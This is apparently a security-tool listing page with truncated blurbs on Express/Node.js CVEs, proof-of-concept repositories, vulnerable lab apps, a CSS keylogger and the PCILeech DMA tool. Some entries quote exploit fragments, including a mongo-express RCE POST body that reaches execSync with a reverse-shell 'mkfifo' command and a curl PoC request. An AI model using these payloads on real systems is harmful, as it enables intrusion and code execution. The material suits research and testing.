CVE-2026-8347

CVE-2026-8347 – Insecure Direct Object Reference IDOR in Concrete CMS Overview CVE-2026-8347 is an Insecure Direct Object Reference IDOR vulnerability affecting Concrete CMS versions 9.5.0 and earlier. The issue exists in the Express Association Reorder functionality due to insufficient...

Express-handlebars - Local File Inclusion

Express-handlebars is susceptible to local file inclusion because it mixes pure template data with engine configuration options through the Express render API. More specifically, the layout parameter may trigger file disclosure vulnerabilities in downstream applications. This potential...

Mongo-Express - Remote Code Execution

Mongo-Express before 1.0.0 is susceptible to remote code execution because it uses safer-eval to validate user supplied javascript. Unfortunately safer-eval sandboxing capabilities are easily bypassed leading to remote code execution in the context of the node server. id: CVE-2020-24391 info: nam...

SucoshScanny

Sucosh Scanny "Sucosh" is an automated Source Code vulnerability scannerSAST and assessment framework for PythonFlask-Django & NodeJs capable of performing code review in Web Application Developing or Source Code Analysis processes.It’s can detect a lot of vulnerabilityRCE,SSTI,Insecure...

CSS-Keylogging

CSS Keylogger Estensione Chrome e server Express che sfruttano le capacità di keylogging dei CSS. Per usare Configurare l'estensione Chrome 1. Scaricare il repository git clone https://github.com/maxchehab/CSS-Keylogging 2. Visitare chrome://extensions nel browser oppure aprire il menu Chrome...

CVE-2024-2876

CVE-2024-2876 POC per la vulnerabilità SQLi in Icegram express Disclaimer legale Lo script Proof of Concept PoC fornito in questo repository ha esclusivamente scopi educativi e di ricerca. Il suo scopo è quello di mostrare una vulnerabilità specifica e aiutare a comprendere i rischi per la...

Wordpress Email Subscribers by Icegram Express - SQL Injection

The Email Subscribers by Icegram Express - Email Marketing, Newsletters, Automation for WordPress & WooCommerce plugin for WordPress is vulnerable to SQL Injection via the 'run' function of the 'IGESSubscribersQuery' class in all versions up to, and including, 5.7.14 due to insufficient escaping ...

Mitel MiCollab - Information Disclosure & Denial of Service

Mitel MiCollab before 9.4 SP1 FP1 and MiVoice Business Express through 8.1 contain a vulnerability in the TP-240 component caused by improper handling, letting remote attackers obtain sensitive information and cause denial of service, exploit requires remote access. id: CVE-2022-26143 info: name:...

mongo-express Remote Code Execution

mongo-express before 0.54.0 is vulnerable to remote code execution via endpoints that uses the toBSON method and misuse the vm dependency to perform exec commands in a non-safe environment. id: CVE-2019-10758 info: name: mongo-express Remote Code Execution author: princechaddha severity: critical...

VulnNodeApp

VulnNodeApp Un'applicazione vulnerabile realizzata utilizzando node.js, express server e il template engine ejs. Questa applicazione è destinata esclusivamente a scopi didattici. Configurazione Clona questo repository root@kitploit: git clone https://github.com/4auvar/VulnNodeApp.git Configurazio...

CVE-2020-7699_reproduce

Riproduzione di CVE-2020-7699 Riproduzione della vulnerabilità RCE in Node.js CVE-2020-7699, mio lavoro di laboratorio Installazione Versione Node.js: v14.16.1, assicurati che la versione di Node.js sia 14 Altre versioni probabilmente funzioneranno, non ho testato Versione Python: 3.9.5, Python...

toxy

toxy Not actively maintained, may not work with latest node.js runtimes. If you are interested in maintaining toxy, please open an issue...

JavaScript-Example

Seal Security — Esempio JavaScript npm Un'applicazione Node.js/Express minimale e volutamente vulnerabile utilizzata per dimostrare, dall'inizio alla fine, come Seal Security risana una CVE nota sostituendo una dipendenza vulnerabile con una versione sigillata backportata, plug‑in — senza...

vulnerability-in-Remix-React-Router-CVE-2025-31137-

Panoramica Dopo aver letto il write-up di @zhero nel suo blog personale, ho deciso di costruire questa CTF per imparare come funzionano le cose; dopo di che ho deciso di condividerla con chiunque voglia imparare a sfruttare questa vulnerabilità. Ho provato a creare la CTF con la versione...

CVE-2019-10758

CVE-2019-10758 PoC Configuração root@kitploit: docker run -p 27017:27017 -d mongo npm install [email protected] cd nodemodules/mongo-express/ && node app.js Exploit cURL root@kitploit: curl 'http://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw==' --data...

InstagramMutualFollowerChecker

Controllo Followers Reciproci di Instagram Un'applicazione web Node.js/Express che verifica i follower reciproci tra 2 o più account Instagram raccogliendo i dati dei loro follower. Caratteristiche ✅ Verifica follower reciproci tra più account Instagram ✅ Funziona con account Instagram pubblici e...

cve-2022-24785-poc-lab

Panoramica Questa è una semplice app Node Express utilizzata per esplorare la vulnerabilità di path traversal di Moment.js CVE-2022-24785. Configurazione root@kitploit: git clone https://github.com/pS3ud0RAnD0m/momentjs.git cd momentjs cat package.json Change 'moment' to '2.29.4' if wanting to te...

CVE-2019-10758

CVE-2019-10758 Execução remota de código no mongo-express, código do shell reverso como abaixo: POST BODY 1: document=this.constructor.constructor"return process".mainModule.require"childprocess".execSync"mkfifo /tmp/f" POST BODY 2： document=this.constructor.constructor"return...

CVE-2024-4295-Poc

CVE-2024-4295-Poc CVE-2024-4295 Email Subscribers by Icegram Express editsubscriberstatus \email-subscribers\lite\includes\db\class-es-db-lists-contacts.php:616 EmailSubscribersPublic-esemailsubscribeinit \email-subscribers\lite\public\class-email-subscribers-public.php:178 WPHook-applyfilters...

pcileech

PCILeech Summary: PCILeech uses PCIe hardware devices to read and write target system memory. This is achieved by using DMA over PCIe. No drivers are needed on the target system. PCILeech also works without hardware together with a wide range of software memory acqusition methods supported by the...